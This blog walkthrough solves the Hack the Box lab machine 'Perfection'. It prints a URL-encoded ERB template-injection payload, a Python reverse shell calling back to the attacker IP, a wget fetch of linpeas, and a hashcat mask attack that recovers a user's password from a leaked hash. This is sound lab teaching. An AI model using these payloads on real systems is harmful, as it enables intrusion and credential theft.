Rootflag.io
July 6, 2024

Hack the Box - Perfection

Posted on July 6, 2024  •  7 minutes  • 1407 words

Welcome to perfection! This is a Hack the Box machine with a listed difficulty of easy. It’s a Linux machine so let’s see what this machine has in store.

As we do, every. single. time. we enumarate, we start with a rustscan of the target.

rustscan -a 10.129.229.121 -- -A

Our results are the following:

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx
|_http-title: Weighted Grade Calculator
| http-methods: 
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Well, we see a pretty basic port interface. We can launch Burpsuite and see what’s being hosted on port 80. When we land at the site, we see, as the port defined, a Weighted Grade Calculator.

Scrolling through, we see it’s being powered by WEBrick 1.7.0. A quick Google for that service and version shows we have some vulnerabilities here . We can keep this in our backpocket and continue to explore the app.

We see that we can supply some values and get assumably a weighted grade back. So we can take this request and send it over to repeater in Burpsuite and see what we can find.

When we tamper with the parameters of the request, we see that some things are being blocked:

When we send some URL Encoded commands we get back an invalid %-encoding error. So now we know we need to leverage a ‘standard’ URL Encoding method. We know that our base framework is build on Ruby - particularly WEBRick. Knowing this can then look at how SSTI payloads look for the language . After some poking back and forth with different template methods, we see that <% ACTION %> works but only if we URL encode it AND URL encode the new line character BEFORE the template.

So, now we have a working SSTI payload, we just need to weaponize it.

test73%0a<%25%3d+7*7+%25>

In Ruby you can capture the output of commands within code by leveraging the backtick. So we can take our payload of test73%0a<%25%3d+ls+%25> and we should get output of the command:

Great! Now let’s see what main.rb holds, and also, let’s get a shell!

require 'sinatra'
require 'erb'
set :show_exceptions, false

configure do
    set :bind, '127.0.0.1'
    set :port, '3000'
end

get '/' do
    index_page = ERB.new(File.read 'views/index.erb')
    response_html = index_page.result(binding)
    return response_html
end

get '/about' do
    about_page = ERB.new(File.read 'views/about.erb')
    about_html = about_page.result(binding)
    return about_html
end

get '/weighted-grade' do
    calculator_page = ERB.new(File.read 'views/weighted_grade.erb')
    calcpage_html = calculator_page.result(binding)
    return calcpage_html
end

post '/weighted-grade-calc' do
    total_weight = params[:weight1].to_i + params[:weight2].to_i + params[:weight3].to_i + params[:weight4].to_i + params[:weight5].to_i
    if total_weight != 100
        @result = "Please reenter! Weights do not add up to 100."
        erb :'weighted_grade_results'
    elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category2] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category3] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category4] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category5] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:grade1] =~ /^(?:100|\d{1,2})$/ && params[:grade2] =~ /^(?:100|\d{1,2})$/ && params[:grade3] =~ /^(?:100|\d{1,2})$/ && params[:grade4] =~ /^(?:100|\d{1,2})$/ && params[:grade5] =~ /^(?:100|\d{1,2})$/ && params[:weight1] =~ /^(?:100|\d{1,2})$/ && params[:weight2] =~ /^(?:100|\d{1,2})$/ && params[:weight3] =~ /^(?:100|\d{1,2})$/ && params[:weight4] =~ /^(?:100|\d{1,2})$/ && params[:weight5] =~ /^(?:100|\d{1,2})$/
        @result = ERB.new("Your total grade is <%= ((params[:grade1].to_i * params[:weight1].to_i) + (params[:grade2].to_i * params[:weight2].to_i) + (params[:grade3].to_i * params[:weight3].to_i) + (params[:grade4].to_i * params[:weight4].to_i) + (params[:grade5].to_i * params[:weight5].to_i)) / 100 %>\%<p>" + params[:category1] + ": <%= (params[:grade1].to_i * params[:weight1].to_i) / 100 %>\%</p><p>" + params[:category2] + ": <%= (params[:grade2].to_i * params[:weight2].to_i) / 100 %>\%</p><p>" + params[:category3] + ": <%= (params[:grade3].to_i * params[:weight3].to_i) / 100 %>\%</p><p>" + params[:category4] + ": <%= (params[:grade4].to_i * params[:weight4].to_i) / 100 %>\%</p><p>" + params[:category5] + ": <%= (params[:grade5].to_i * params[:weight5].to_i) / 100 %>\%</p>").result(binding)
        erb :'weighted_grade_results'
    else
        @result = "Malicious input blocked"
        erb :'weighted_grade_results'
    end
end

We can see the flaw above. The line @result = ERB.new("Your total grade ... ").result(binding) directly executes a string of Ruby code constructed from user input. Oops! Sanatize your inputs!

Some further enumeration including which python, which ruby and some others we can simply craft a quick reverse shell and catch it.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",6969));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

The above shell needs to be URL Encoded as well. So this was our final request sent:

POST /weighted-grade-calc HTTP/1.1

Host: 10.129.229.121

Content-Length: 267

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.129.229.121

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://10.129.229.121/weighted-grade-calc

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Connection: close



category1=test73%0a<%25%3d+`%70%79%74%68%6f%6e%33%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%30%2e%31%30%2e%31%34%2e%32%22%2c%36%39%36%39%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%69%6d%70%6f%72%74%20%70%74%79%3b%20%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%27`%25>&grade1=1&weight1=20&category2=vulns&grade2=2&weight2=20&category3=pwns&grade3=3&weight3=60&category4=N%2FA&grade4=0&weight4=0&category5=N%2FA&grade5=0&weight5=0

Now, we had our listener running on 6969 and we caught the call!

We then head over to /home/susan/ and snag our user.txt!

Great, now with a shell on the system we can look to escalate our session. We stabalize our shell and start to look for a way to escalate. We start to manually sift around and find a pupilpath_credentials.db file. We can give it a quick cat and see its some username / password action:

��^�ableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
a�\
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023fs

We’ll put a pin in this info and come back, as we could use it later. We transfer over linpeas to the /tmp directory and give it a run.

Host our web server: python3 -m http.server 80

On our compromised system: wget http://10.10.14.2/lp.sh chmod +x lp.sh ./lp.sh

We let linpeas run and sift through all the information there, as usual - a lot isn’t actionable - one thing that is, is that susan can leverage sudo with no password since she is in group 27. This is only useful if we have her password to start with, since it’s required to sudo and currently, sudo -l gives us nothing. We also see at the very end of the linpeas ouput we see some mail in the /var/mail directory:

When we view the contents of the file we get the following message:

Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

Great. So now we know the password scheme. This helps line up what we see from the previous db file we found.

Now we’ll stick our hash from the pupilpath_credentials.db file, and put it into a new file called hash.txt.

echo abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f

Next we can check the type of hash it is with hashid.

hashid hash.txt -m

This gives us an output for hashcat mode:

--File 'hash.txt'--
Analyzing 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f'
[+] Snefru-256 
[+] SHA-256 [Hashcat Mode: 1400]
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 [Hashcat Mode: 6900]
[+] GOST CryptoPro S-Box 
[+] SHA3-256 [Hashcat Mode: 5000]
[+] Skein-256 
[+] Skein-512(256) 
--End of file 'hash.txt'--%   

We see that we have 1400, 6900 and 5000. Starting at the top makes perfect sense given how common it is. Now, the next thing we need to do, is setup hashcat to understand the password policy that was created. Now, Hack the Box has an EXCELLENT Academy module on this called Cracking Passwords with Hashcat and I would highly recommend it. So from that module, is this nice cheat sheat about Maske Attack functionality.

As you can see from the above sheet, we can leverage ?d to represent a digit from 0-9. So now we know our format is going to be {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000} which for us is now:

susan_nasus_{digits}

So here’s how we string it all together with hashcat

We leverage -a 3 for our attack mode being set to mask attack. We use -m 1400 as our hash id of SHA-256. We supply our format of susan_nasus_?d?d?d?d?d?d?d?d?d to set the potential digit length of up to 1 million.

Total command: hashcat -m 1400 hash.txt -a 3 'susan_nasus_?d?d?d?d?d?d?d?d?d'

This can take a while to run if you’re running on a potato VM without properly optomizing hashcat options. (Like me :) )

Eventually it finishes and we get our cracked password:

Now we can try the password of susan_nasus_413759210 and see if it let’s us sudo.

We do a quick sudo su enter the password and we are in!

There we have it, another box down!

Follow me

I hack things and tweet about things...